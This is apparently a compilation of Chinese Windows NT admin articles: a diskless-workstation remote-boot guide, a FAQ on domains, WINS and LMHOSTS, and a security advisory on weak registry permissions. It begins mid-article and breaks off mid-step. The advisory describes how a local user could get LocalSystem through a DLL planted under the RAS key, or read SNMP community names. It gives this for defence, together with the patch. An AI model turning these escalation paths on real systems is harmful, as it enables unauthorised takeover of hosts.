    在NT服务器“我的电脑/控制面板/服务”中选“远程启动服务”，单击“启动”，将启动类型改为“自动”，然后重新启动NT服务器。
RPLCMD命令简介
    NT Server 可支持3COM、INTEL、NOVELL NE等系列网卡，对于常见的各种网卡：如ACCTON、DLINK、TOPSTAR及各种NE2000兼容网卡并不能自动识别，这样，就要用RPLCMD命令手工修改网卡配置文件数据库。

RPLCMD命令格式为：RPLCMD [\\computername]

    其中，computername为远程启动服务器的计算机名。在程序运行后有下面几个命令：
    A：用于修改不完整的网卡记录；
    B：用于修改BOOK BLOCK 记录，可设置DOSBB.CNF文件路径；
    C：修改配置记录，可用来指出系统目录映射关系文件（DOS622.FIT、DOS622P.FIT、WIN95.FIT、WIN95P.FIT）的路径；
    P：用于修改配置文件；
    S：用于控制远程启动服务；
    V：用于配置网卡厂商编码（网卡ID号的前6位数字）及网卡名称；
    W：用于修改工作站记录。

    每个命令执行后又有下面三组命令供选择：
    A：添加一条记录；
    B：删除一条记录；
    E：显示记录。
    其中最为常用的是A、C、V命令。
准备BOOT ROM
根据实际使用的网卡（ACCTON 16XX、SN2000等）找到合适的BOOT ROM
    Windows NT常用的BOOT ROM为RPL BOOT ROM，不同于NOVELL网常用的IPX BOOT ROM和ODI BOOT ROM。一种网卡的BOOT ROM不一定兼容其他网卡，请选择合适的BOOT ROM，笔者有种RPL BOOT ROM可兼容大多数NE2000兼容网卡。ACCTON 16XX系列网卡使用的BOOT ROM型号为SW7145。本文将以NE2000兼容网卡、NE2000兼容RPL BOOT ROM为例进行配置说明。
将网卡设置为可远程引导，并将中断设为3，IO设为300
    可用网卡驱动盘上SETUP之类的程序修改。
将BOOT ROM 插入网卡
    注意BOOT ROM 的小缺口和网卡插座的小缺口相对应。

DOS无盘站的安装

    安装步骤以DOS 6.22、NE2000兼容网卡为例。

设置远程引导共享目录
    NT Server 在远程启动服务（RPL服务）安装完成后会自动在C∶\WINNT目录下创建RPL目录。将C∶\WINNT\RPL目录下的RPLFILES目录设为共享,共享名为RPLFILES。
拷贝系统文件
    在NT服务器上将DOS系统文件拷入C∶\WINNT\RPL\RPLFILES\BINFILES目录下的DOS622目录中（其他DOS版本对应相应的目录）,并去掉IO.SYS、MSDOS.SYS的所有属性。至少要复制下面三个文件：IO.SYS、MSDOS.SYS、COMMAND.COM。
拷贝NDIS驱动文件
    将网卡驱动盘上的NDIS驱动文件复制为C∶\WINNT\RPL\BBLOCK\NDIS目录下NE.DOS文件。如网卡驱动盘上无NDIS驱动文件，则将C∶\WINNT\RPL\BBLOCK\NDIS目录中的NE2000.DOS复制为NE.DOS。
拷贝DOSBB.CNF文件
    在C:\WINNT\RPL\BBLOCK\NETBEUI目录下创建子目录NE，并将网卡驱动盘上的DOSBB.CNF文件拷贝到新建的NE目录下。如网卡驱动盘上无DOSBB.CNF，可将C:\WINNT\RPL\BBLOCK\NETBEUI\NE2000目录下的DOSBB.CNF文件拷贝到新建的NE目录下，并用EDIT修改DOSBB.CNF，将DAT BBLOCK\NETBEUI\NE2000\PROTOCOL.INI一行改为DAT BBLOCK\NETBEUI\NE\PROTOCOL.INI，将DRV BBLOCK\NDIS\NE2000.DOS…一行改为DRV BBLOCK\NDIS\NE.DOS… 。
拷贝PROTOCOL.INI文件
    将网卡驱动盘上的PROTOCOL.INI文件拷贝到C∶\WINNT\RPL\BBLOCK\NETBEUI\NE目录下,如网卡驱动盘上无此文件，可将C:\WINNT\RPL\BBLOCK\NETBEUI\NE2000目录下的PROTOCOL.INI文件拷贝到上述目录下。
修改网卡远程引导数据库
    (1) 用网卡设置程序（SETUP等）查看网卡内部ID号，并记录下来。（在Windows 95下用WINIPCFG命令，在Windows NT下用IPCONFIG /ALL命令可查看网卡的ID号。）
    (2) 在Windows NT命令提示符下运行RPLCMD命令。
    ① 添加网卡厂商编码（即网卡ID号前6位）
    C∶\WINNT\RPLCMD
    Adapter Boot Config Profile Vender Wksta [Quit] V
    Add Del Enum: A
    VenderName=52544C　(网卡ID号的前6位)
    VenderComment=ne－compatible (注释说明)
    ② 添加网卡BOOK BLOCK 记录
    C∶\WINNT\RPLCMD
    Adapter Boot Config Profile Vender Wksta [Quit] B
    Add Del Enum:A
    BootName=DOSNE　(与下一步BootName对应)
    VenderName=52544C　(网卡ID号的前6位)
    BbcFile=BBLOCK\NETBEUI\NE\DOSBB.CNF
    All other parameters are optional
    Boot Comment=ne－compatible
    WindowsSize=0
    ③ 修改系统配置记录
    C∶\WINNT\RPLCMD
    Adapter Boot Config Profile Vender Wksta [Quit] C
    Add Del Enum: A
    ConfigName=DOS622NE　（自定义的ConfigName，不能与已有的同名）
    BootName=DOSNE　（与上一步BootName对应）
    DirName=DOS
    DirName2=DOS622
    FitShared=FITS\DOS622.FIT　（共享目录映射关系文件）
    FitPersonal=FITS\DOS622P.FIT　（专用目录映射关系文件）
    All other parameters are optional
    ConfigComment=NE－DOS－BOOT
    DirName3=
    DirName4=
在服务器上建立远程启动配置
    (1) 打开无盘工作站。
    (2) 在服务器上配置Windows NT 支持的网卡。运行“开始/程序/管理工具(公用)/远程启动管理器”，你将看到一台未经配置的无盘站。
    (3) 选择菜单“配置”的“检查配置”，然后单击“是”。
    (4) 选择菜单“远程启动”的“新的配置文件”，选择“NEDOSBOOT”，配置名键入“DOSRPL”。
(5) 选择未经配置无盘站的ID号，选择菜单“远程启动”的“转换识配器”，选择DOSRPL，键入WKSTA名：USER1，这时你就可发现刚才配置的无盘站已经开始启动了。
我介绍了Windows NT服务器的安装以及Windows NT下DOS无盘工作站的安装方法，这一期，详细介绍一下Windows NT下Windows无盘工作站以及Windows 95无盘工作站的安装方法。

Windows无盘站的安装
    安装步骤以中文Windows 3.2为例。

在NT Server服务器的C盘上建立“32” 目录，并使之共享，将Windows 3.2系统安装文件拷入“32”目录下。
启动该无盘站，以Administrator帐号登录，执行C∶\>NET USE F∶\\NTSERVER\32。
在无盘站F盘执行SETUP /A，将Windows 安装到C∶\WIN目录中。
在无盘站C盘WIN目录下执行SETUP/N命令，选择EXPRESS方式安装，将Windows 安装在C：\WINDOWS目录下（勿选择更新任何已存在的Windows）。
在安装过程中，SETUP会修改CONFIG.SYS与AUTOEXEC.BAT文件，如SETUP无法修改，选择取消，等复制完成后，将C：\WINDOWS目录下的CONFIG.WIN、AUTOEXEC.WIN文件内容复制到C盘根目录下的CONFIG.SYS与AUTOEXEC.BAT文件中。
将下列三行加入C：\WINDOWS\SYSTEM.INI中的
    [386enh]区段内。
    TimerCriticalSection=5000
    UniqueDosPSP=True
    PSPIncrement=2
将C：\WINDOWS中所有文件复制到C：\ WKSTA.PRO\ WIN目录下，这样所有使用“DOSRPL”配置名的无盘站都可以启动Windows。
重新启动该工作站，以普通无盘站用户帐号登录，执行WIN即可进入Windows。
Windows 95无盘站的安装
    安装步骤以中文Windows 95为例。

简述
    Windows 95可以进行无盘站安装，要进行Windows 95无盘站的安装，必须有NETSETUP文件，该文件位于完全版的Windows 95光盘的ADMIN\NETTOOLS\NETSETUP目录下。
拷贝W95BB.CNF文件
    将网卡驱动盘上的W95BB.CNF文件拷贝到C∶\WINNT\RPL\BBLOCK\NETBEUI\NE 目录下。如网卡驱动盘上无W95BB.CNF，可将C∶\WINNT\RPL\BBLOCK\NETBEUI\NE2000目录下的W95BB.CNF文件拷贝到上述目录下，并用EDIT修改W95BB.CNF文件，将DAT BBLOCK\NETBEUI\NE2000\PROTOCOL.INI一行改为DAT BBLOCK\NETBEUI\NE\PROTOCOL.INI，将DRV BBLOCK\NDIS\NE2000.DOS……一行改为DRV BBLOCK\NDIS\NE.DOS……。（注：如有的网卡驱动盘上有DOSBB.CNF而没有W95BB.CNF，则可将DOSBB.CNF拷贝为C∶\WINNT\RPL\BBLOCK\NETBEUI\NE目录下W95BB.CNF文件，然后用EDIT编辑W95BB.CNF，将其中的EXE BBLOCK\I13.COM……一行改为EXE BBLOCK\W95I13.COM……，并和上面一样，要修改PROTOCOL.INI文件的路径和NE.DOS文件的路径。）
修改网卡远程引导数据库
    (1) 修改BOOK BLOCK 记录
    C∶\WINNT\RPLCMD
    Adapter Boot Config Profile Vender Wksta [Quit] B
    Add Del Enum:A
    A BootName=W95NE　（与下一步BootName对应）
    VenderName=52544C　(网卡ID号的前6位)
    BbcFile=BBLOCK\NETBEUI\NE\W95BB.CNF
    All other parameters are optional
    Boot Comment=necompatible
    WindowsSize=0
    (2) 修改系统配置记录
    C∶\WINNT\RPLCMD
    Adapter Boot Config Profile Vender Wksta [Quit] C
    Add Del Enum: A
    ConfigName=WIN95NE　(自定义的ConfigName，不能与已有的同名）
    BootName=W95NE　（与上一步BootName对应）
    DirName=DOS
    DirName2=WIN95
    FitShared=FITS\WIN95.FIT　（共享目录映射关系文件）
    FitPersonal=FITS\WIN95P.FIT　（专用目录映射关系文件）
    All other parameters are optional
    ConfigComment=NE95BOOT
    DirName3=
    DirName4=
在服务器上建立远程启动配置
    （1） 运行“开始/程序/管理工具（公用）/远程启动管理器”。
    （2） 选择菜单“配置”的“检查配置”，然后单击“是”。
    （3） 选择菜单“远程启动”的“新的配置文件”，选择“NE－95－BOOT”，配置名键入“95RPL”。
安装SBS服务器（ServerBased Setup）
    （1） 在NT Server服务器C盘上建立一目录“95SHARE”，并将之设为共享，共享名为“95SHARE”。
    （2） 启动一台真正的Windows 95（有盘站），以具有系统管理员权限的用户登录到NT 服务器。
    （3） 在真正的Windows 95下执行Windows 95安装光盘上的ADMIN\NETTOOLS\NETSETUP目录下的NETSETUP.EXE文件，出现“服务器安装”对话框时，单击“设置路径”按钮，输入SBS服务器上要保存Windows 95文件的路径\\NTSERVER\95SHARE，单击“确定”。
    （4） 单击“安装”，在弹出的对话框中指定Windows 95安装文件所在路径（例D∶\WIN95），开始安装。当询问是否要创建安装脚本时，选择不创建，输入Windows 95标识码，将Windows 95文件复制到NT服务器中。
    （5） 在NT Server服务器上执行NT Server安装光盘的CLIENTS\RPL\UPDATE\WIN95目录下WIN95SRV.BAT文件。
    例：WIN95SRV \\NTSERVER\95SHARE
开始安装Windows 95无盘站
    （1） 在服务器上创建Windows 95工作目录存放路径“95WORK”并使之共享，共享名为“95WORK”。
    （2） 启动一台DOS 6.22无盘工作站USER1，登录到主域DOMAIN。
    （3） 映射网络驱动器
     NET USE F∶\\NTSERVER\95SHARE
     NET USE G∶\\NTSERVER\95WORK
    （4） 将工作站与服务器时间同步，执C∶\>NET TIME\\NTSERVER/SET/YES。
    （5） 在F盘执行SETUP /T∶G∶\USER1.TMP，按照提示进行安装。
    A. 当出现“ServerBased Setup”对话框时选“Set up Windows to run from a network server”；
    B. 当出现“Startup Method”对话框时，选择“Start Windows from the network (remote boot server)”；
    C. 当出现“Machine Director”对话框时，输入路径G∶\USER1；
    D. 当出现“Setup Options”对话框时，选择“Custom”；
    E. 当出现“Analyzing Your Computer”对话框时，选择“No,I want to modify the hardware list"，并且只选键盘、鼠标、标准VGA显示卡，否则，可能导致死机；
    F. 当出现“Network Configuration”对话框时，选择网卡型号为NE2000兼容网卡，并将网卡的中断和I/O设置正确。选择协议时一定要加上NetBEUI协议；
    G. 出现“Identification”对话框时，“WORKGROUP”项设置为该SBS服务器的主域名“DOMAIN”；
    H. 等待文件复制完成后，按“重新开机”。
    (6） 在服务器上运行C∶\WINNT\RPL\BIN\WIN95CLT.BAT文件。
    WIN95CLT C∶\95WORK\USER1 \\NTSERVER 95RPL
    其中95RPL为第4步中所创建的配置名。
    (7）在服务器上用EDIT 修改C∶\95SHARE目录中的MACHINES.INI文件，添加下列三行：
    [52544CXXXXXX]　(Windows 95无盘站网卡ID号）
    SYSDATPATH=G∶\USER1　（Windows 95无盘站工作目录）
    G=\\NTSERVER\95WORK （Windows 95无盘站工作目录存放路径）
    （8） 在服务器上启动“远程启动管理器”，将USER1的网卡配置文件改为Windows 　　95网卡配置文件NE95BOOT。
    （9） 重新引导远程工作站，输入用户名、密码，就可看到Windows 95引导画面，等出现网卡ID号时输入用户名USER1。
    （10） 稍等可出现Windows 登录窗口，输入用户名、密码，即可进入Windows 95。
安装其他硬件驱动程序
     Windows 95正常运行后，单击“我的电脑/控制面板/添加新硬件”，让Windows 95自动查找硬件设备，并安装相应的驱动程序。
安装其他中文系统
这时，Windows 95虽然可正常运行，但是，有时汉字显示为乱码，可安装UCWIN等软件，这样Windows 95就可正常运行。在Windows NT无盘工作站中，MSDOS无盘工作站对硬件要求很低，286以上的机器即可。Windows无盘工作站要求稍高，要求硬件为386以上，内存4M以上才可正常运行。Windows 95无盘工作站要求机器硬件为486以上，内存8M以上，最好16M以上。


Windows NT/2000中不充分的默认注册许可

一些Windows注册键被置为错误的默认允许值. 这些松散的注册许可能够使攻击者改变系统设置，甚至可能远程控制主机.

细节:
受影响系统:
Microsoft Windows NT 4.0 Server
Microsoft Windows NT 4.0 Server, Enterprise Edition
Microsoft Windows NT 4.0 Server, Terminal Server Edition
Microsoft Windows NT 2000 Professional, Server, Advanced Server (只影响SNMP注册问题)

RAS管理注册键值 Administration Registry Key
Windows NT 4.0中控制管理远程访问服务(RAS)第三方工具的注册键没有正确配置为拒绝无特权用户的写操作.指派到这个特殊注册表键值的如此松懈的许可权将允许能够本地登录到一个安装了RAS的服务器系统的任何用户修改这个键值到在RAS启动之上执行的一个任意DLL文件. RAS注册表键值中的DLL运行于LocalSystem特权之下. 因此, 恶意用户将能够在LocalSystem安全范围能进行任意活动,导致最后完全控制本地主机. RAS注册表键值的位置是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RAS.
如果Winreg键被激活允许远程访问注册表(Winreg默认是激活状态)，这个漏洞能够被远程开发利用.

注意: RAS默认不安装在Windows NT 4.0中.

MTS信息包管理注册表键
Microsoft Transaction Server (MTS)是Microsoft Windows NT使用的机制用来控制传输或者MTS信息包,它是形成事务处理的系列软件模块.
这个键值没有正确配置为拒绝非特权用户的写访问.只有管理员有修改这个特殊键值的权限.然而,任何能登录到安装了MTS的系统的用户能够改变这个键值及其子键值，它位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Transaction Server\Packages.
存储在MTS注册表键值中的信息是每个MTS信息包的管理列表.通过修改MTS注册表键值，在管理列表中加入他的用户ID，恶意用户能够重新配置或在系统中增加新的MTS信息包.
如果Winreg键被激活允许远程访问注册表(Winreg默认是激活状态)，这个键值能够被远程修改.

注意: MTS默认不安装在Windows NT 4.0中. MTS是Windows NT 4.0可选工具包中的一部分.

SNMP注册表键值修改
Windows NT 4.0和2000中的SNMP服务能够远程管理计算机. 对Loose permissions in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters这个键值不可靠的许可权允许能访问注册表的恶意用户读取存储在ValidCommunities键值中的SNMP组名. 这允许恶意用户通过SNMP管理计算机.
恶意用户也可以通过修改注册表键值来改变组名，这样将拒绝授权用户通过SNMP访问主机.

解决方案
Microsoft已经发布了一个补丁来加固这些注册表许可权.
Microsoft Windows NT 4.0 Intel:
http://download.microsoft.com/download/winntsp/Patch/Q266794/NT4/EN-US/Q265714i.EXE
Microsoft Windows NT 2000 Intel:
http://download.microsoft.com/download/win2000platform/Patch/Q266794/NT5/EN-US/Q266794_W2K_SP2_x86_en.EXE

为什么这个补丁中指出了三个漏洞?
这三个漏洞下的问题是相同的 - 默认许可配置太过松散.同样地,这三个漏洞的修复是重新将它们设置为一个适当的值.为了最小化客户需要的补丁数,我们提供了一个补丁来重置这三个键的许可权.

那三个注册表键值是什么?
它们是:
* The "SNMP Management" key.
* The "RAS Administration" key.
* The "MTS Package Administration" key.

与"SNMP Management"键值关联的漏洞的影响范围是什么?
这个漏洞能够允许恶意用户管理或配置网络上的设备.她能够获得的特殊权限根据网络的不同而不同,并且将依赖于网络使用Simple Network Management Protocol(SNMP)的范围.然而, 最坏的情况是该漏洞能够允许她错误配置路由器和防火墙、改变web服务器和数据库服务器的内容、停止或启动本地主机上的服务,等等.
SNMP本身就不是一种安全的协议. 即使在没有不适当注册表许可权的情况下, 恶意用户仍然可以监控网络获得管理网络上SNMP设备所需的
所有信息. SNMP默认不安装在Windows NT 4.0系统中.

该工具能设置什么许可?
该工具对下列键及其子键设置以下许可: Hive Key Permission
Hive: HKEY_LOCAL_MACHINE\SYSTEMKey: CurrentControlSet Services\SNMP\ParametersPermission: PermittedManagers Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SYSTEMKey: CurrentControlSet Services\SNMP\ParametersPermission: ValidCommunities Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: \Microsoft\RAS
Permission: Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: \Microsoft\Transaction Server\Packages
Permission: Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: Microsoft\Cryptography\OffloadPermission: Authenticated Users: Read Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: Microsoft\Windows NT\CurrentVersion\AeDebug
Permission: Authenticated Users: Read Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: Microsoft\Windows\CurrentVersionExplorer\User Shell Folders
Permission: Authenticated Users: Read Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE Microsoft\DataFactory
Permission: Authenticated Users: Read Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: CurrentControlSet\Services\W3SVCParameters\ADCLaunch Authenticated Users: Read
Permission: Administrators, System, Creator Owner: Full

Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Key: CurrentControlSet\Control\SecurePipe ServersPermission: winreg Administrators: FullBackup Operators: Read


Windows NT常见问题解答

    如何在远程启动服务器上安装远程启动服务
具体安装步骤：
您必须确认已经安装DLC和NetBEUI协议。
点击开始，在设置下选择控制面板。
双击网络。
在服务选项下，选择添加…。
在网络服务清单下选择远程启动服务。
在安装远程服务对话框下，输入所要安装的完整路径名。缺省目录是 \Rpl。点击确定
点击确定．
在Windows NT 安装对话框下，键入安装程序的目录缺省目录是 \i386。
点击继续。
在以下窗口键入 \clients\rpl。
点击继续后完成安装。
什么是telnet服务器？
Windows NT安装程序自动给每个系统安装telnet客户(telnet.exe), 此程序可以连接到Unix的telnet服务器上，但是NT本身没有带telnet服务器，所以它不能连接到NT上。
如果需要从Unix用telnet连接到NT服务器，可以使用NT Resource Kit中telnetd.exe。它是一个后台的网络服务，具体按装步骤请参照telnet.wri。

虽然也可以用NT的telnet连接该服务器上，但是NT之间可以使用更方便的工具：remote console。此工具也来自NT的Resource Kit。操作步骤是：

先在远端启动一个command prompt，执行命令：
remote /s "cmd" xxx

然后在用户本地执行：
remote /c machine1 xxx

其中

xxx是连接代号，它用来区别两台机器间的多个连接。 machine1是远端计算机名。

cmd是要远程执行的命令，也可以用任何类似的字符交互程序代替。
如何使用NT服务器连接两个小型TCP/IP局域网？

两个网段的网络地址应互不相同，否则要预先调整，称为X网段和Y网段
在一台NT服务器上安装两块网络适配器，分别连到两个网段上
在两块网络适配器上分别设置TCP/IP，使它能分别PING到两个网段上的其他机器。，设X网段上适配器的IP地址是X1，Y网段上适配器的IP地址是Y1。
在路由服务器上启用IP转发
在所有机器上设置缺省网关，X网段上机器的网关地址为X1，Y 网段上机器的网关地址为Y1——即路由服务器在本网段上的地址。
重启所有机器后，X，Y网段上的机器应能互相PING到
若原来没有设置WINS服务器，可在路由服务器上加载WINS服务；若原来两个网段都有WINS服务器，去掉一个，小型局域网上一个WINS服务器已足以应付。
在所有机器上填好WINS服务器的地址
重启所有机器后，X网段上的机器应可以按名访问Y网段上的机器。注意，WINS服务器应先于其他机器启动，所以一般是不关机的。

如何替换主域控制器

情况一：主域控制器替换成另一台机器
安装新机器为本域的备份域控制器
将新机器升级为主域控制器，原主域控制器同时降成备份域控制器
移去原主域控制器
主域控制器需要重装NT
找一台备份域控制器升级为主域控制器，原主域控制器同时降成备份域控制器
原主域控制器重新安装NT
仅使用TCP/IP的拨号网络客户如何通过RAS访问远程网络

可遵循以下配置步骤,以使仅使用TCP/IP的拨号网络客户通过RAS能够访问远程网络.

在拨号网络客户的控制面板->网络中,将拨号网络客户的工作组名或域名设置成将要连接的远程网络的工作组名或域名.
在远程网络,安装并配置WINS服务.
注: WINS服务器服务并不一定要与RAS服务器安装在同一台机器上.

在RAS服务器的控制面板->网络中,配置TCP/IP协议使其到指定的WINS服务器注册.
注: 若要远程网络中的某一机器可以被拨号网络客户浏览到,则其一定要在WINS服务器注册.

在拨号网络客户的电话号码簿中,TCP/IP缺省地配置成使用服务器指派的名字服务器.这是推荐的配置.
注: 如果需要也可以指定远程网络WINS服务器的IP地址.

如何Windows NT PDC 和 BDC 的重命名？
您可能需要重新命名一台PDC或BDC，请用以下步骤：

对PDC：

在Windows NT 3.x计算机上，进入控制面板的网络选项；在Windows NT 4.0计算机上，进入进入控制面板的网络选项，选取“标志”标签。在网络设置对话框选择计算机名称旁的“更改”按钮，键入新的计算机名称，选择“OK”。
重新启动PDC使更改生效。
在服务器管理器中，如果旧名称仍然存在或看不到新名称，进行下面工作：
建立一个新名称的记录。在服务器管理器“计算机”菜单项选取“加入域”。
新的计算机帐户建立为“备份域控制器”，显示则是PDC
选中老的计算机名称，删除。
注意：有时3a步骤可能建立两个帐户，其中一个是备份。如果这样，把备份的一个删除。

对BDC：

在服务器管理器中选择要加入新计算机名称的域，加入新计算机名。确保加入的是BDC。
在要改名的BDC上，进入控制面板的网络选项，改变计算机名称。
重新启动该了名的BDC，将发现NETLOGON服务没有启动。
在域中其它计算机上，打开服务器管理器，选择新的BDC名，并在“计算机”菜单选择“与主控制器同步”，这样可以启动NETLOGON服务。
在服务器管理器中选择旧的BDC名，并从域中删除。
改变计算机名称后在服务器管理器中看不到PDC

症状：在服务器管理器中选取“仅显示域成员”时看不到PDC，但不选取这一选项时则可以看到PDC
原因：更改了PDC的计算机名称，但没有为新的名称建立计算机账号。
解决：按照系统手册中的方法为PDC改名。
注意：手册中的第一步有误。在为PDC改名之前，请先用新名称建立一个BDC帐户，以便在改名后分配给PDC。

如何安全地更改NT域名称？
在NT中，域通常用NetBIOS名和SID标志，大多访问控制(ACLs)和其他安全特性使用SID来标志域。所以可以更换域名而不中断网络服务。

下列过程指导如何安全地更改NT域名称，适用于单域模式或单主域模式中的客户域及资源域。

在更改域名称前请注意：有一些 BackOffice产品将不能在更改名称后的域中正常运行，对这些产品，文末有附说明。

不保证您使用的第三方软件可以在更改域名称后正常运行，请联系软件供应商了解软件工作方式，并确知其能否在改名后的域中正常工作。

建议您在真正更改域名称前测试改名的后果，以保证改名后可以正常工作。更改域名的危险必须自己承担。在改名过程中，不要以新域名或旧域名安装PDC或BDC。不要提升BDC为PDC，仅在此域所有服务可以中断的情况下可以进行改名工作。所有客户必须注消直到改名完全结束，

然后重新启动所有计算机。

先对所有计算机进行完全备份再开始改名。

在改名前后分别为每台计算机建立单独的紧急修复盘。

准备好NT的CD和最新的服务包，以及NT启动盘。

可以使用NT资源包中的NETDOM来远程更改一些计算机的登录域名称，而不必接触到每一台计算机。

请按照如下步骤进行：

通知并关断所有和要改名的域相关的信任关系。保证在两方都关断信任。
停止所有的BackOffice服务，例如Exchange Server, SQL Server 和IIS，并把服务的启动方式设为手动。
改变PDC上的域名称。
重新启动PDC，使新的<1B>名称标致送入WINS服务器。
如果你正在使用WINS for NetBIOS来解析TCP/IP名称，强制复制PDC的主WINS 服务器信息到所有其它WINS服务器以转达新的<1B>名称。 PDC的名称解析正确才能使BDC成功转换到新域名。如果使用TCP/IP而没有使用WINS，则要在所有BDC上新建LMHOSTS文件包含新的域名称的记录。请参照KB中Q129218的信息。
在所有的BDC上改变域名称并重启动。BDC必须重新启动才能在WINS服务器上注册<1C>记录。
强制复制WINS服务器以转达新的名称<1B>记录。
重新建立信任关系。
在控制面板的服务工具中重新启动第二步中停止的服务。选取服务，使用“启动”按钮。把本应是自动启动的服务重新设置为自动方式。请按照正确的顺序启动服务。
对服务做必要的改动。
改变所有成员服务器和工作站上域的名称。对不支持域模式的工作站则更改工作组名称为新的域名称。
同步整个域。
问题解决：

如果改名后在BDC上发生错误，通常是名字解析或账号数据库引起的问题。首先用服务器管理器同步PDC，对于名字解析问题，确保WINS同步，或是LMHOSTS文件的正确性。
在一些批处理中你会遇到问题，因为它们仍然使用旧的域名称。你要检查所有此类文件。通常这类文件存放在PDC的NETLOGON共享目录中，或是存在于登录脚本及自动运行的工具中。
您可能在日志中发现错误，可以到http://support.microsoft.com/support上查找“event id XXXX”获取更多的相关信息。改名后发生的错误多数和名称的改变相关，例如
Network name net found 或 Error 53 一般出在计算机名称解析上，要在WINS上检查 COMPUTERNAME<00h>，COMPUTERNAME<03h>，COMPUTERNAME<20h>，并使所有WINS服务器同步；
A domain controller for this domain could not be found.或 Unable to contact the domain controller for this domain. 错误发生在域名称解析上，检查DOMAIN<1bH>，DOMAIN<1cH>记录并使所有WINS服务器同步；
The trust relationship failed. 一般是由于信任关系没有重建，或是计算机账号无效，应重建信任关系或计算机账号，并将计算机重新添加到域中。
改变域名称可能引起的影响：

服务管理器的数据库中服务账号存为文本而非SID，因此所有计算机上使用域用户账号作为服务账号的服务必须手动进行调整。 NT资源包中的SC.EXE工具可以帮助进行远程更改。
当你在SQL Server上使用安全措施时，必须在安全管理器中重新设置“默认域”，并且如果用户不在默认域中，必须删除后再添加改名后的域中的用户和组，本地组中包含的改名后域中的用户和组也必须删除后再添加。
Exchange服务账号必须以新域名重新建立，并且要在Exchange管理程序组中选取工具--选项，选取权限标签，改变默认域名称。
所有Exchange Server的公共文件夹的安全信息将丢失。重命名前请使用命令行工具PFADMIN.EXE将安全信息保存到一个文本文件中，以使重建工作简便。这个工具可以在微软的网站上作为Exchange Server资源包下载。
如果域中有SMS的主点或备份点，SMS必须卸载后重新安装，而且无法恢复SMS数据库。
如果域是SMS站的一部分，但不包括主点或备份点(仅包含登录服务器和客户)，此域必须在改名前从SMS站中删除，改名后重新加入。请参照SMS安装配置手册。
如果运行IIS，必须改变账号的虚拟路径。
如何为域解析编制LMHOSTS文件？
当您在TCP/IP网络上解析名称时会有延迟，并且必须使用LMHOSTS文件查找NetBIOS名称。此文讨论了如何建立一个LMHOSTS文件进行名称解析和域??
通过以下步骤建立正确格式的LMHOSTS文件:

使用文本编辑器建立一个名为LMHOSTS的文件,存放位置为:
对Windows NT为 %SystemRoot%\System32\Drivers\etc
对Windows 95为 c:\Windows(Windows的安装路径)
注意:文件名称为LMHOSTS,没有扩展名.使用记事本编辑此文件时会自动添加.TXT扩展名。如果这样，必须在命令行方式下手工更名。

在LMHOSTS文件中加上下列句:
10.0.0.1 PDCName #PRE #DOMomain
10.0.0.1 "Domain \0x1b" #PRE
注意:句中的空格不可省略。将10.0.0.1替换成自己的PDC的地址,PDCName替换成您的PDC的NetBIOS名,Domain替换成您的NT域名称。引号中必须有总共20个字符(域名称连同空格共15个字符，反斜杠在第16个字符)

加入上述行后，保存此文件。

在命令行方式下键入以下命令：
NBTSTAT -R
注意:-R参数是大小写敏感的，您必须使用大写.命令键入后您可以看到如下信息:
Successful purge and preload of the NBT Remote Cache Name Table.

键入以下命令:
NBTSTAT -c
注意:-c参数也是大小写敏感的，必须使用小写。命令键入后您会得到类似下面的显示:
Node IpAddress: [157.60.69.82] Scope Id: []
NetBIOS Remote Cache Name Table

Name Type Host Address Life [sec]
------------------------------------------------------------
PDC1 <03> UNIQUE 100.0.0.2 -1
PDC1 <00> UNIQUE 100.0.0.2 -1
PDC1 <20> UNIQUE 100.0.0.2

如何静态地初始化PDC中WINS的0x1b记录?
如果一个PDC不是Windows NT Server 3.5, 3.51, 4.0(例如Windows NT Advanced Server 3.1或LAN Manager Server),你必须在这个PDC上用0x1b名称静态地初始化WINS.地址应当为此PDC的IP地址。如果这台PDC没有用0x1b名称静态地初始化,它将注册为十六进制的0x00h,0x03h或0x20h.
您可以建立一个LMHOSTS文件向WINS添加特定的静态名称和地址。LMHOSTS文件的格式为:

<IP address><SPACE>"<DOMAIN Name> \0x1b"<SPACE>#PRE<CR><LF>

例如:

130.20.37.30 "MYNTDOMAIN \0x1b" #PRE

注意DC的计算机名限制在15个字符。十六进制的1b加在计算机名之后从第十六个字符开始(总唱20个字符).<space>表示此处可以有一个或多个空格用于分割项目.确保每行之后敲回车,包括文件最后一行也要敲回车.

注意:输入的LMHOSTS文件必须遵循8.3文件名转换,否则将不起作用。文件名不必是LMHOSTS,但是必须有扩展名(例如static.dom).
通常PDC和域主浏览器是同一台机器。0x1b是域主浏览器的名称，客户浏览器使用这个名称联系域主浏览器。当WINS要查找这台域主浏览器时,将返回地址。WINS认为注册了1B名称的计算机是PDC.

当一台客户计算机发布广播寻找<DOMAIN_Name>[00h]以解析本地网络时,将得到一个域名称(用于定位域主浏览器<DOMAIN_Name>[1bh]或域控制器<DOMAIN_Name>[1ch]).此时,如果得到域主浏览器则可以确认,如果不是，将继续请求直到一个域控制器响应。此处不一定要使用0x1B名称，因为PDC注册为 1C名称(一个互连网组).但是为了加快客户计算机查找 PDC并提高网络性能，请使用1B名称。

如何从RAS路由IP包到网卡?
Windows NT 3.5资源包的网络手册419到421页和知识库中以下文档解释了如何用TCP/IP协议配置远程连接服务充当简单的路由器：Q121877

路由发生在RAS连接和局域网的网卡之间。如果发生下列情况，所有的包将发送给RAS连接。

RAS连接和网卡使用同一网络的不同的子网地址。
选中RAS的“在远程网络上使用默认网关”选项。
此文介绍如何将包发送到网卡。

请按照下列步骤修改注册表： (警告!!不当使用注册表编辑器将造成错误，甚至可能必须重新安装系统。您必须自己负责可能的危险后果。)

